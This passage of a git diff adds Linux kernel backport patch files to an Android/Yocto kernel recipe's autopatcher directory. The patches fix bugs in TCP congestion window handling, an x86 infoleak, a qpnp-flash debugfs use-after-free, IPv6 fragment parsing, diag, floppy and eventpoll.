a/net/core/dev.c ++++ b/net/core/dev.c +@@ -4117,6 +4117,7 @@ static enum gro_result dev_gro_receive(struct napi_struct *napi, struct sk_buff + NAPI_GRO_CB(skb)->flush = 0; + NAPI_GRO_CB(skb)->free = 0; + NAPI_GRO_CB(skb)->encap_mark = 0; ++ NAPI_GRO_CB(skb)->recursion_counter = 0; + + /* Setup for GRO checksum validation */ + switch (skb->ip_summed) { +diff --git a/net/ipv4/af_inet.c b/net/ipv4/af_inet.c +index 5589a7c..4fc2ca4 100644 +--- a/net/ipv4/af_inet.c ++++ b/net/ipv4/af_inet.c +@@ -1409,7 +1409,7 @@ static struct sk_buff **inet_gro_receive(struct sk_buff **head, + skb_gro_pull(skb, sizeof(*iph)); + skb_set_transport_header(skb, skb_gro_offset(skb)); + +- pp = ops->callbacks.gro_receive(head, skb); ++ pp = call_gro_receive(ops->callbacks.gro_receive, head, skb); + + out_unlock: + rcu_read_unlock(); +diff --git a/net/ipv4/fou.c b/net/ipv4/fou.c +index 8ce8e82..7b5b280 100644 +--- a/net/ipv4/fou.c ++++ b/net/ipv4/fou.c +@@ -119,7 +119,7 @@ static struct sk_buff **fou_gro_receive(struct sk_buff **head, + if (!ops || !ops->callbacks.gro_receive) + goto out_unlock; + +- pp = ops->callbacks.gro_receive(head, skb); ++ pp = call_gro_receive(ops->callbacks.gro_receive, head, skb); + + out_unlock: + rcu_read_unlock(); +@@ -220,7 +220,7 @@ static struct sk_buff **gue_gro_receive(struct sk_buff **head, + /* Adjusted NAPI_GRO_CB(skb)->csum after skb_gro_pull()*/ + skb_gro_postpull_rcsum(skb, guehdr, guehlen); + +- pp = ops->callbacks.gro_receive(head, skb); ++ pp = call_gro_receive(ops->callbacks.gro_receive, head, skb); + + out_unlock: + rcu_read_unlock(); +diff --git a/net/ipv4/gre_offload.c b/net/ipv4/gre_offload.c +index cc7b082..370c057 100644 +--- a/net/ipv4/gre_offload.c ++++ b/net/ipv4/gre_offload.c +@@ -219,7 +219,7 @@ static struct sk_buff **gre_gro_receive(struct sk_buff **head, + /* Adjusted NAPI_GRO_CB(skb)->csum after skb_gro_pull()*/ + skb_gro_postpull_rcsum(skb, greh, grehlen); + +- pp = ptype->callbacks.gro_receive(head, skb); ++ pp = call_gro_receive(ptype->callbacks.gro_receive, head, skb); + + out_unlock: + rcu_read_unlock(); +diff --git a/net/ipv4/udp_offload.c b/net/ipv4/udp_offload.c +index e6d05ae..f805597 100644 +--- a/net/ipv4/udp_offload.c ++++ b/net/ipv4/udp_offload.c +@@ -306,7 +306,7 @@ unflush: + skb_gro_pull(skb, sizeof(struct udphdr)); /* pull encapsulating udp header */ + skb_gro_postpull_rcsum(skb, uh, sizeof(struct udphdr)); + NAPI_GRO_CB(skb)->proto = uo_priv->offload->ipproto; +- pp = uo_priv->offload->callbacks.gro_receive(head, skb); ++ pp = call_gro_receive(uo_priv->offload->callbacks.gro_receive, head, skb); + + out_unlock: + rcu_read_unlock(); +diff --git a/net/ipv6/ip6_offload.c b/net/ipv6/ip6_offload.c +index dbc528e..b10c0c6 100644 +--- a/net/ipv6/ip6_offload.c ++++ b/net/ipv6/ip6_offload.c +@@ -244,7 +244,7 @@ static struct sk_buff **ipv6_gro_receive(struct sk_buff **head, + + skb_gro_postpull_rcsum(skb, iph, nlen); + +- pp = ops->callbacks.gro_receive(head, skb); ++ pp = call_gro_receive(ops->callbacks.gro_receive, head, skb); + + out_unlock: + rcu_read_unlock(); +-- +1.9.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0720-e1f31f3f20ab-tcp fix zero cwnd in tcpcwndreduction.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0720-e1f31f3f20ab-tcp fix zero cwnd in tcpcwndreduction.patch new file mode 100644 index 0000000..5843e1f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0720-e1f31f3f20ab-tcp fix zero cwnd in tcpcwndreduction.patch @@ -0,0 +1,67 @@ +From e1f31f3f20ab760ebb2425e67385b2c593c35be5 Mon Sep 17 00:00:00 2001 +From: Yuchung Cheng +Date: Fri, 26 May 2017 15:45:15 +0530 +Subject: tcp: fix zero cwnd in tcp_cwnd_reduction + +[ Upstream commit: 8b8a321ff72c785ed5e8b4cf6eda20b35d427390] + +Patch 3759824da87b ("tcp: PRR uses CRB mode by default and SS mode +conditionally") introduced a bug that cwnd may become 0 when both +inflight and sndcnt are 0 (cwnd = inflight + sndcnt). This may lead +to a div-by-zero if the connection starts another cwnd reduction +phase by setting tp->prior_cwnd to the current cwnd (0) in +tcp_init_cwnd_reduction(). + +To prevent this we skip PRR operation when nothing is acked or +sacked. Then cwnd must be positive in all cases as long as ssthresh +is positive: + +1) The proportional reduction mode + inflight > ssthresh > 0 + +2) The reduction bound mode + a) inflight == ssthresh > 0 + + b) inflight < ssthresh + sndcnt > 0 since newly_acked_sacked > 0 and inflight < ssthresh + +Therefore in all cases inflight and sndcnt can not both be 0. +We check invalid tp->prior_cwnd to avoid potential div0 bugs. + +In reality this bug is triggered only with a sequence of less common +events. For example, the connection is terminating an ECN-triggered +cwnd reduction with an inflight 0, then it receives reordered/old +ACKs or DSACKs from prior transmission (which acks nothing). Or the +connection is in fast recovery stage that marks everything lost, +but fails to retransmit due to local issues, then receives data +packets from other end which acks nothing. + +Change-Id: I6edbd82492839ca86515c64ee22828f7582900aa +Fixes: 3759824da87b ("tcp: PRR uses CRB mode by default and SS mode conditionally") +Reported-by: Oleksandr Natalenko +Signed-off-by: Yuchung Cheng +Signed-off-by: Neal Cardwell +Signed-off-by: Eric Dumazet +Signed-off-by: David S. Miller +Signed-off-by: Akshaya +--- + net/ipv4/tcp_input.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/net/ipv4/tcp_input.c b/net/ipv4/tcp_input.c +index cc7f940..c0be23d 100644 +--- a/net/ipv4/tcp_input.c ++++ b/net/ipv4/tcp_input.c +@@ -2516,6 +2516,9 @@ static void tcp_cwnd_reduction(struct sock *sk, const int prior_unsacked, + int newly_acked_sacked = prior_unsacked - + (tp->packets_out - tp->sacked_out); + ++ if (newly_acked_sacked <= 0 || WARN_ON_ONCE(!tp->prior_cwnd)) ++ return; ++ + tp->prr_delivered += newly_acked_sacked; + if (tcp_packets_in_flight(tp) > tp->snd_ssthresh) { + u64 dividend = (u64)tp->snd_ssthresh * tp->prr_delivered + +-- +1.9.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0721-afef4db94424-Fix potential infoleak in older kernels.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0721-afef4db94424-Fix potential infoleak in older kernels.patch new file mode 100644 index 0000000..9d03974 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0721-afef4db94424-Fix potential infoleak in older kernels.patch @@ -0,0 +1,69 @@ +From afef4db94424df50555407c7366421f39462f27a Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Tue, 8 Nov 2016 11:17:00 +0100 +Subject: Fix potential infoleak in older kernels + +commit dc1555e670c373bfa4ca2e1e2f839d5fe2b4501a upstream. + +Not upstream as it is not needed there. + +So a patch something like this might be a safe way to fix the +potential infoleak in older kernels. + +THIS IS UNTESTED. It's a very obvious patch, though, so if it compiles +it probably works. It just initializes the output variable with 0 in +the inline asm description, instead of doing it in the exception +handler. + +It will generate slightly worse code (a few unnecessary ALU +operations), but it doesn't have any interactions with the exception +handler implementation. + + +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/include/asm/uaccess.h | 10 +++++----- + 1 file changed, 5 insertions(+), 5 deletions(-) + +diff --git a/arch/x86/include/asm/uaccess.h b/arch/x86/include/asm/uaccess.h +index 8e046ade1c88..504be087d682 100644 +--- a/arch/x86/include/asm/uaccess.h ++++ b/arch/x86/include/asm/uaccess.h +@@ -329,7 +329,7 @@ do { \ + #define __get_user_asm_u64(x, ptr, retval, errret) \ + __get_user_asm(x, ptr, retval, "q", "", "=r", errret) + #define __get_user_asm_ex_u64(x, ptr) \ +- __get_user_asm_ex(x, ptr, "q", "", "=r") ++ __get_user_asm_ex(x, ptr, "q", "", "=&r") + #endif + + #define __get_user_size(x, ptr, size, retval, errret) \ +@@ -372,13 +372,13 @@ do { \ + __chk_user_ptr(ptr); \ + switch (size) { \ + case 1: \ +- __get_user_asm_ex(x, ptr, "b", "b", "=q"); \ ++ __get_user_asm_ex(x, ptr, "b", "b", "=&q"); \ + break; \ + case 2: \ +- __get_user_asm_ex(x, ptr, "w", "w", "=r"); \ ++ __get_user_asm_ex(x, ptr, "w", "w", "=&r"); \ + break; \ + case 4: \ +- __get_user_asm_ex(x, ptr, "l", "k", "=r"); \ ++ __get_user_asm_ex(x, ptr, "l", "k", "=&r"); \ + break; \ + case 8: \ + __get_user_asm_ex_u64(x, ptr); \ +@@ -396,7 +396,7 @@ do { \ + " jmp 2b\n" \ + ".previous\n" \ + _ASM_EXTABLE_EX(1b, 3b) \ +- : ltype(x) : "m" (__m(addr))) ++ : ltype(x) : "m" (__m(addr)), "0" (0)) + + #define __put_user_nocheck(x, ptr, size) \ + ({ \ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0722-db2cdc95204b-leds qpnpflash Fix UseafterfreeUAF for debugfs.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0722-db2cdc95204b-leds qpnpflash Fix UseafterfreeUAF for debugfs.patch new file mode 100644 index 0000000..a4294ff --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0722-db2cdc95204b-leds qpnpflash Fix UseafterfreeUAF for debugfs.patch @@ -0,0 +1,206 @@ +From db2cdc95204bc404f03613d5dd7002251fb33660 Mon Sep 17 00:00:00 2001 +From: Ankit Sharma +Date: Thu, 9 Feb 2017 16:23:09 +0530 +Subject: leds: qpnp-flash: Fix Use-after-free(UAF) for debugfs + +Fix UAF where two threads can open and close the same file. Second +open will cause the private data for the first file to be overwritten. +When the first file is closed and the private data is freed, this makes +the now-shared private data OOB for the second thread. + +CRs-Fixed: 1109763 +Change-Id: I1c4618d5be99e140abf0f3ea0d7f485897db5ab2 +Signed-off-by: Ankit Sharma +--- + drivers/leds/leds-qpnp-flash.c | 82 +++++++++++++++++++++++++++--------------- + 1 file changed, 54 insertions(+), 28 deletions(-) + +diff --git a/drivers/leds/leds-qpnp-flash.c b/drivers/leds/leds-qpnp-flash.c +index 56ba8f5..ec4b4e7 100644 +--- a/drivers/leds/leds-qpnp-flash.c ++++ b/drivers/leds/leds-qpnp-flash.c +@@ -225,11 +225,13 @@ struct flash_led_platform_data { + }; + + struct qpnp_flash_led_buffer { +- struct mutex debugfs_lock; /* Prevent thread concurrency */ +- size_t rpos; +- size_t wpos; +- size_t len; +- char data[0]; ++ struct mutex debugfs_lock; /* Prevent thread concurrency */ ++ size_t rpos; ++ size_t wpos; ++ size_t len; ++ struct qpnp_flash_led *led; ++ u32 buffer_cnt; ++ char data[0]; + }; + + /* +@@ -247,10 +249,8 @@ struct qpnp_flash_led { + struct workqueue_struct *ordered_workq; + struct qpnp_vadc_chip *vadc_dev; + struct mutex flash_led_lock; +- struct qpnp_flash_led_buffer *log; + struct dentry *dbgfs_root; + int num_leds; +- u32 buffer_cnt; + u16 base; + u16 current_addr; + u16 current2_addr; +@@ -282,10 +282,10 @@ static int flash_led_dbgfs_file_open(struct qpnp_flash_led *led, + log->wpos = 0; + log->len = logbufsize - sizeof(*log); + mutex_init(&log->debugfs_lock); +- led->log = log; ++ log->led = led; + +- led->buffer_cnt = 1; +- file->private_data = led; ++ log->buffer_cnt = 1; ++ file->private_data = log; + + return 0; + } +@@ -299,12 +299,12 @@ static int flash_led_dfs_open(struct inode *inode, struct file *file) + + static int flash_led_dfs_close(struct inode *inode, struct file *file) + { +- struct qpnp_flash_led *led = file->private_data; ++ struct qpnp_flash_led_buffer *log = file->private_data; + +- if (led && led->log) { ++ if (log) { + file->private_data = NULL; +- mutex_destroy(&led->log->debugfs_lock); +- kfree(led->log); ++ mutex_destroy(&log->debugfs_lock); ++ kfree(log); + } + + return 0; +@@ -333,15 +333,21 @@ static int print_to_log(struct qpnp_flash_led_buffer *log, + + static ssize_t flash_led_dfs_latched_reg_read(struct file *fp, char __user *buf, + size_t count, loff_t *ppos) { +- struct qpnp_flash_led *led = fp->private_data; +- struct qpnp_flash_led_buffer *log = led->log; ++ struct qpnp_flash_led_buffer *log = fp->private_data; ++ struct qpnp_flash_led *led; + u8 val; + int rc = 0; + size_t len; + size_t ret; + ++ if (!log) { ++ pr_err("error: file private data is NULL\n"); ++ return -EFAULT; ++ } ++ led = log->led; ++ + mutex_lock(&log->debugfs_lock); +- if ((log->rpos >= log->wpos && led->buffer_cnt == 0) || ++ if ((log->rpos >= log->wpos && log->buffer_cnt == 0) || + ((log->len - log->wpos) < MIN_BUFFER_WRITE_LEN)) + goto unlock_mutex; + +@@ -353,7 +359,7 @@ static ssize_t flash_led_dfs_latched_reg_read(struct file *fp, char __user *buf, + INT_LATCHED_STS(led->base), rc); + goto unlock_mutex; + } +- led->buffer_cnt--; ++ log->buffer_cnt--; + + rc = print_to_log(log, "0x%05X ", INT_LATCHED_STS(led->base)); + if (rc == 0) +@@ -388,18 +394,24 @@ unlock_mutex: + + static ssize_t flash_led_dfs_fault_reg_read(struct file *fp, char __user *buf, + size_t count, loff_t *ppos) { +- struct qpnp_flash_led *led = fp->private_data; +- struct qpnp_flash_led_buffer *log = led->log; ++ struct qpnp_flash_led_buffer *log = fp->private_data; ++ struct qpnp_flash_led *led; + int rc = 0; + size_t len; + size_t ret; + ++ if (!log) { ++ pr_err("error: file private data is NULL\n"); ++ return -EFAULT; ++ } ++ led = log->led; ++ + mutex_lock(&log->debugfs_lock); +- if ((log->rpos >= log->wpos && led->buffer_cnt == 0) || ++ if ((log->rpos >= log->wpos && log->buffer_cnt == 0) || + ((log->len - log->wpos) < MIN_BUFFER_WRITE_LEN)) + goto unlock_mutex; + +- led->buffer_cnt--; ++ log->buffer_cnt--; + + rc = print_to_log(log, "0x%05X ", FLASH_LED_FAULT_STATUS(led->base)); + if (rc == 0) +@@ -441,10 +453,17 @@ static ssize_t flash_led_dfs_fault_reg_enable(struct file *file, + int data; + size_t ret = 0; + +- struct qpnp_flash_led *led = file->private_data; ++ struct qpnp_flash_led_buffer *log = file->private_data; ++ struct qpnp_flash_led *led; + char *kbuf; + +- mutex_lock(&led->log->debugfs_lock); ++ if (!log) { ++ pr_err("error: file private data is NULL\n"); ++ return -EFAULT; ++ } ++ led = log->led; ++ ++ mutex_lock(&log->debugfs_lock); + kbuf = kmalloc(count + 1, GFP_KERNEL); + if (!kbuf) { + ret = -ENOMEM; +@@ -479,7 +498,7 @@ static ssize_t flash_led_dfs_fault_reg_enable(struct file *file, + free_buf: + kfree(kbuf); + unlock_mutex: +- mutex_unlock(&led->log->debugfs_lock); ++ mutex_unlock(&log->debugfs_lock); + return ret; + } + +@@ -491,10 +510,17 @@ static ssize_t flash_led_dfs_dbg_enable(struct file *file, + int cnt = 0; + int data; + size_t ret = 0; +- struct qpnp_flash_led *led = file->private_data; ++ struct qpnp_flash_led_buffer *log = file->private_data; ++ struct qpnp_flash_led *led; + char *kbuf; + +- mutex_lock(&led->log->debugfs_lock); ++ if (!log) { ++ pr_err("error: file private data is NULL\n"); ++ return -EFAULT; ++ } ++ led = log->led; ++ ++ mutex_lock(&log->debugfs_lock); + kbuf = kmalloc(count + 1, GFP_KERNEL); + if (!kbuf) { + ret = -ENOMEM; +@@ -528,7 +554,7 @@ static ssize_t flash_led_dfs_dbg_enable(struct file *file, + free_buf: + kfree(kbuf); + unlock_mutex: +- mutex_unlock(&led->log->debugfs_lock); ++ mutex_unlock(&log->debugfs_lock); + return ret; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0723-41d33a5b803b-ipv6 avoid overflow of offset in ip6find1stfragopt.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0723-41d33a5b803b-ipv6 avoid overflow of offset in ip6find1stfragopt.patch new file mode 100644 index 0000000..fc20c8e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0723-41d33a5b803b-ipv6 avoid overflow of offset in ip6find1stfragopt.patch @@ -0,0 +1,57 @@ +From 41d33a5b803bd1c3ca84f5bfb9ab77d06ce09fca Mon Sep 17 00:00:00 2001 +From: Sabrina Dubroca +Date: Wed, 19 Jul 2017 22:28:55 +0200 +Subject: ipv6: avoid overflow of offset in ip6_find_1stfragopt + +[ Upstream commit 6399f1fae4ec29fab5ec76070435555e256ca3a6 ] + +In some cases, offset can overflow and can cause an infinite loop in +ip6_find_1stfragopt(). Make it unsigned int to prevent the overflow, and +cap it at IPV6_MAXPLEN, since packets larger than that should be invalid. + +This problem has been here since before the beginning of git history. + +Signed-off-by: Sabrina Dubroca +Acked-by: Hannes Frederic Sowa +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/ipv6/output_core.c | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +diff --git a/net/ipv6/output_core.c b/net/ipv6/output_core.c +index 20569d6087c4..c471baa92b9a 100644 +--- a/net/ipv6/output_core.c ++++ b/net/ipv6/output_core.c +@@ -44,7 +44,7 @@ EXPORT_SYMBOL_GPL(ipv6_proxy_select_ident); + + int ip6_find_1stfragopt(struct sk_buff *skb, u8 **nexthdr) + { +- u16 offset = sizeof(struct ipv6hdr); ++ unsigned int offset = sizeof(struct ipv6hdr); + unsigned int packet_len = skb_tail_pointer(skb) - + skb_network_header(skb); + int found_rhdr = 0; +@@ -52,6 +52,7 @@ int ip6_find_1stfragopt(struct sk_buff *skb, u8 **nexthdr) + + while (offset <= packet_len) { + struct ipv6_opt_hdr *exthdr; ++ unsigned int len; + + switch (**nexthdr) { + +@@ -77,7 +78,10 @@ int ip6_find_1stfragopt(struct sk_buff *skb, u8 **nexthdr) + + exthdr = (struct ipv6_opt_hdr *)(skb_network_header(skb) + + offset); +- offset += ipv6_optlen(exthdr); ++ len = ipv6_optlen(exthdr); ++ if (len + offset >= IPV6_MAXPLEN) ++ return -EINVAL; ++ offset += len; + *nexthdr = &exthdr->nexthdr; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0724.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0724.diff new file mode 100644 index 0000000..2faf4dc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0724.diff @@ -0,0 +1,19 @@ +diff --git a/drivers/char/diag/diag_dci.c b/drivers/char/diag/diag_dci.c +index 157a820..25038dc 100644 +--- a/drivers/char/diag/diag_dci.c ++++ b/drivers/char/diag/diag_dci.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2012-2017, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2012-2018, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -863,7 +863,7 @@ + read_len += sizeof(struct diag_ctrl_dci_status); + + for (i = 0; i < header->count; i++) { +- if (read_len > len) { ++ if (read_len > (len - 2)) { + pr_err("diag: In %s, Invalid length len: %d\n", + __func__, len); + return; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0725.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0725.diff new file mode 100644 index 0000000..3bc44ce --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0725.diff @@ -0,0 +1,17 @@ +diff --git a/drivers/block/floppy.c b/drivers/block/floppy.c +index e642ff5..5478cad 100644 +--- a/drivers/block/floppy.c ++++ b/drivers/block/floppy.c +@@ -3237,8 +3237,10 @@ + int cnt; + + /* sanity checking for parameters. */ +- if (g->sect <= 0 || +- g->head <= 0 || ++ if ((int)g->sect <= 0 || ++ (int)g->head <= 0 || ++ /* check for overflow in max_sector */ ++ (int)(g->sect * g->head) <= 0 || + /* check for zero in F_SECT_PER_TRACK */ + (unsigned char)((g->sect << 2) >> FD_SIZECODE(g)) == 0 || + g->track <= 0 || g->track > UDP->tracks >> STRETCH(g) || diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0726.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0726.diff new file mode 100644 index 0000000..bcd5edc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0726.diff @@ -0,0 +1,37 @@ +diff --git a/fs/eventpoll.c b/fs/eventpoll.c +index 328eafc..6550137 100644 +--- a/fs/eventpoll.c ++++ b/fs/eventpoll.c +@@ -1910,10 +1910,8 @@ + mutex_lock(&epmutex); + if (is_file_epoll(tf.file)) { + error = -ELOOP; +- if (ep_loop_check(ep, tf.file) != 0) { +- clear_tfile_check_list(); ++ if (ep_loop_check(ep, tf.file) != 0) + goto error_tgt_fput; +- } + } else { + get_file(tf.file); + list_add(&tf.file->f_tfile_llink, +@@ -1942,8 +1940,6 @@ + error = ep_insert(ep, &epds, tf.file, fd, full_check); + } else + error = -EEXIST; +- if (full_check) +- clear_tfile_check_list(); + break; + case EPOLL_CTL_DEL: + if (epi) +@@ -1964,8 +1960,10 @@ + mutex_unlock(&ep->mtx); + + error_tgt_fput: +- if (full_check) ++ if (full_check) { ++ clear_tfile_check_list(); + mutex_unlock(&epmutex); ++ } + + fdput(tf); + error_fput: